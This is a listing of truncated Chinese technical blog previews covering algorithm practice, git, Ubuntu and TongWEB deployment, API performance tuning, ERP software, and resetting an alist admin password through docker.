【寸铁的刷题笔记】树、dfs、bfs、回溯、递归(一) 大家好 我是寸铁&#x1f44a; 总结了一篇刷题关于树、dfs、bfs、回溯、递归的文章✨ 喜欢的小伙伴可以点点关注 &#x1f49d; 105. 从前序与中序遍历序列构造二叉树 模拟分析图 代码实现 /*** Definition for a binary tre…

Windows系统中定时执行python脚本

背景&#xff1a;本地Windows系统指定目录下会有文件的修改新增&#xff0c;这些变化的文件需要定时的被上传到git仓库中&#xff0c;这样不需要每次变更手动上传了。 首先编写一个检测文件夹下文件变化并且上传git仓库的python脚本(确保你已经在E:\edc_workspace\data_edc_et…

uniapp-提现功能(demo)

页面布局 提现页面 有一个输入框 一个提现按钮 一段提现全部的文字 首先用v-model 和data内的数据双向绑定 输入框逻辑分析 输入框的逻辑 为了符合日常输出 所以要对输入框加一些条件限制 因为是提现 所以对输入的字符做筛选,只允许出现小数点和数字 这里用正则实现的 小数点…

力扣面试经典150 —— 1-5题

力扣面试经典150题在 VScode 中安装 LeetCode 插件即可使用 VScode 刷题&#xff0c;安装 Debug LeetCode 插件可以免费 debug本文使用 python 语言解题&#xff0c;文中 “数组” 通常指 python 列表&#xff1b;文中 “指针” 通常指 python 列表索引 文章目录 1. [简单] 合并…

TongWEB(东方通),部署WEB前后端项目步骤

我的系统: 银河麒麟桌面系统V10(SP1)(兆芯) 环境需要搭建好,什么redis,数据库等 1.准备项目前端war包 (我后端项目本就是war部署,jar转war自行百度一下吧) 进入前端打包好的dist文件夹,创建一个文件夹 WEB-INF ,再在 WEB-INF 里创建一个 web.xml 文件,文件内容: <web-…

谁说常量字符串不可修改

哈喽&#xff0c;我是子牙&#xff0c;一个很卷的硬核男人 深入研究计算机底层、Windows内核、Linux内核、Hotspot源码……聚焦做那些大家想学没地方学的课程。为了保证课程质量及教学效果&#xff0c;一年磨一剑&#xff0c;三年先后做了这些课程&#xff1a;手写JVM、手写OS、…

接口性能优化的小技巧

目录 1.索引 1.1 没加索引 1.2 索引没生效 1.3 选错索引 2. sql优化 3. 远程调用 3.1 并行调用 3.2 数据异构 4. 重复调用 4.1 循环查数据库 4.2 死循环 4.3 无限递归 5. 异步处理 5.1 线程池 5.2 mq 6. 避免大事务 7. 锁粒度 7.1 synchronized 7.2 redis分…

git 使用总结

文章目录 git merge 和 git rebasegit mergegit rebase总结 git merge 和 git rebase git merge git merge 最终效果说明&#xff1a; 假设有一个仓库情况如下&#xff0c;现需要进行 merge&#xff1a; merge 操作流程&#xff1a; merge 的回退操作&#xff1a; git reba…

ubuntu常见配置

ubuntu各个版本的安装过程大差小不差&#xff0c;可以参考&#xff0c;ubuntu20.04 其它版本换一下镜像版本即可 安装之后需要配置基本的环境&#xff0c;我的话大概就以下内容&#xff0c;后续可能有所删改 sudo apt-get update sudo apt-get install gcc sudo apt-get inst…

常见的芯片行业ERP:SAP Business One ERP系统

在现代企业管理中&#xff0c;企业资源规划(ERP)系统已成为不可或缺的工具。特别是在高度复杂和竞争激烈的芯片行业中&#xff0c;一款高效、全面的ERP系统更是助力企业实现精细管理、提升竞争力的关键。SAP Business One ERP系统便是其中一款备受推崇的选择。 SAP Business On…

2023 龙蜥操作系统大会演讲实录:《兼容龙蜥的云原生大模型数据计算系统——πDataCS》

本文主要分三部分内容&#xff1a;第一部分介绍拓数派公司&#xff0c;第二部分介绍 πDataCS 产品&#xff0c;最后介绍 πDataCS 与龙蜥在生态上的合作。 杭州拓数派科技发展有限公司&#xff08;简称“拓数派”&#xff0c;英文名称“OpenPie”&#xff09;是国内基础数据计…

alist修改密码(docker版)

rootarmbian:~# docker exec -it [docker名称] ./alist admin set abcd123456 INFO[2024-02-20 11:06:29] reading config file: data/config.json INFO[2024-02-20 11:06:29] load config from env with prefix: ALIST_ INFO[2024-02-20 11:06:29] init logrus..…